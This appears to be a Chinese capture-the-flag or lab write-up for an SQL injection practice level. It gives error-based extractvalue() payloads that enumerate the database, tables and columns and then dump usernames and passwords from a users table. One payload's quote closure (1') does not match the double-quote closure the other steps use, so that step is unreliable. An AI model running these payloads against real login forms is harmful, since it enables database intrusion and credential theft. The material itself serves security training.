一:判断注入类型
和上一关一样,输入如下代码,回显报错,其余类型无回显
uname=1"&passwd=123

判断为双引号字符型,尝试闭合

判断正确,成功登录
二:开始攻击
1.爆数据库名
uname=1" and extractvalue(1,concat(0x7e,(select database())))#&passwd=123

2. 爆表名
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#&passwd=123

3.爆列名
uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#&passwd=123

4.爆数据
判断数据量
uname=1" and extractvalue(1,concat(0x7e,(select count(*) from users)))#&passwd=123

分两段爆数据
uname=1" and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#&passwd=123
uname=1" and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#&passwd=123